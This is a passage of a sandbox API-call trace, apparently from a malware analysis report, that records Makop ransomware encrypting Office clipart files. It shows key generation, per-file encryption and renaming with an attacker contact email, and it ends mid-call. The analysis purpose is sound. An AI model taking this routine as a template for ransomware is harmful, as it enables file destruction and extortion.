[0127.515] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.515] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x8440, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x8440, lpOverlapped=0x0) returned 1 [0127.516] CryptDestroyKey (hKey=0x48c7128) returned 1 [0127.516] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x8514, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.516] SetEndOfFile (hFile=0xf0) returned 1 [0127.523] GetProcessHeap () returned 0x48a0000 [0127.523] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0127.523] GetProcessHeap () returned 0x48a0000 [0127.523] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0127.523] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0127.523] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186360.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186360.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0127.524] CloseHandle (hObject=0xf0) returned 1 [0127.525] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x44fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0186362.WMF", cAlternateFileName="")) returned 1 [0127.525] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF") returned 63 [0127.525] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186362.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0127.526] GetProcessHeap () returned 0x48a0000 [0127.526] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0127.526] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0127.526] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0127.526] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0127.531] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0127.531] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0127.531] GetProcessHeap () returned 0x48a0000 [0127.531] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0127.531] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0127.531] CryptDestroyKey (hKey=0x48c7128) returned 1 [0127.531] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0127.531] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0127.531] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0127.531] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0127.532] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0127.532] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0127.532] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0127.532] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0127.532] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.532] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x44fe, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x44fe, lpOverlapped=0x0) returned 1 [0127.534] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4500, dwBufLen=0x4500 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4500) returned 1 [0127.534] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.534] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4500, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4500, lpOverlapped=0x0) returned 1 [0127.535] CryptDestroyKey (hKey=0x48c7128) returned 1 [0127.535] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x45d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.535] SetEndOfFile (hFile=0xf0) returned 1 [0127.542] GetProcessHeap () returned 0x48a0000 [0127.542] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0127.543] GetProcessHeap () returned 0x48a0000 [0127.543] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0127.543] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0127.543] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186362.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186362.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0127.544] CloseHandle (hObject=0xf0) returned 1 [0127.544] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4724, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0186364.WMF", cAlternateFileName="")) returned 1 [0127.544] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF") returned 63 [0127.544] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186364.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0127.545] GetProcessHeap () returned 0x48a0000 [0127.545] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0127.545] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0127.545] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0127.545] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0127.557] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0127.557] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0127.557] GetProcessHeap () returned 0x48a0000 [0127.557] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0127.557] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0127.557] CryptDestroyKey (hKey=0x48c7128) returned 1 [0127.558] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0127.558] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0127.558] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0127.558] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0127.558] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0127.559] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0127.559] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0127.559] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0127.559] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.559] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4724, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4724, lpOverlapped=0x0) returned 1 [0127.560] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4730, dwBufLen=0x4730 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4730) returned 1 [0127.560] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.561] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4730, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4730, lpOverlapped=0x0) returned 1 [0127.561] CryptDestroyKey (hKey=0x48c7128) returned 1 [0127.561] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4804, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.561] SetEndOfFile (hFile=0xf0) returned 1 [0127.568] GetProcessHeap () returned 0x48a0000 [0127.568] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0127.568] GetProcessHeap () returned 0x48a0000 [0127.568] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0127.568] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0127.568] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186364.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186364.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0127.571] CloseHandle (hObject=0xf0) returned 1 [0127.571] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x19c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187647.WMF", cAlternateFileName="")) returned 1 [0127.571] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF") returned 63 [0127.571] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187647.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0127.597] GetProcessHeap () returned 0x48a0000 [0127.597] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0127.598] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0127.598] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0127.598] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0127.602] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0127.603] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0127.603] GetProcessHeap () returned 0x48a0000 [0127.603] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0127.603] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0127.603] CryptDestroyKey (hKey=0x48c7128) returned 1 [0127.603] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0127.603] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0127.603] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0127.603] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0127.604] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0127.604] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0127.604] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0127.604] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0127.604] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.604] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x19c4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x19c4, lpOverlapped=0x0) returned 1 [0127.606] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x19d0, dwBufLen=0x19d0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x19d0) returned 1 [0127.606] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.606] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x19d0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x19d0, lpOverlapped=0x0) returned 1 [0127.606] CryptDestroyKey (hKey=0x48c7128) returned 1 [0127.606] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1aa4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.607] SetEndOfFile (hFile=0xf0) returned 1 [0127.613] GetProcessHeap () returned 0x48a0000 [0127.614] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0127.614] GetProcessHeap () returned 0x48a0000 [0127.614] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0127.614] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0127.614] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187647.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187647.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0127.615] CloseHandle (hObject=0xf0) returned 1 [0127.615] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1500, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187815.WMF", cAlternateFileName="")) returned 1 [0127.615] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF") returned 63 [0127.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187815.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0127.616] GetProcessHeap () returned 0x48a0000 [0127.616] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0127.616] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0127.616] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0127.617] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0127.617] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0127.617] GetProcessHeap () returned 0x48a0000 [0127.617] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0127.617] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0127.617] CryptDestroyKey (hKey=0x48c7128) returned 1 [0127.617] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0127.621] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0127.621] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0127.622] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0127.622] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0127.622] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0127.622] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0127.622] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0127.622] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.622] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1500, 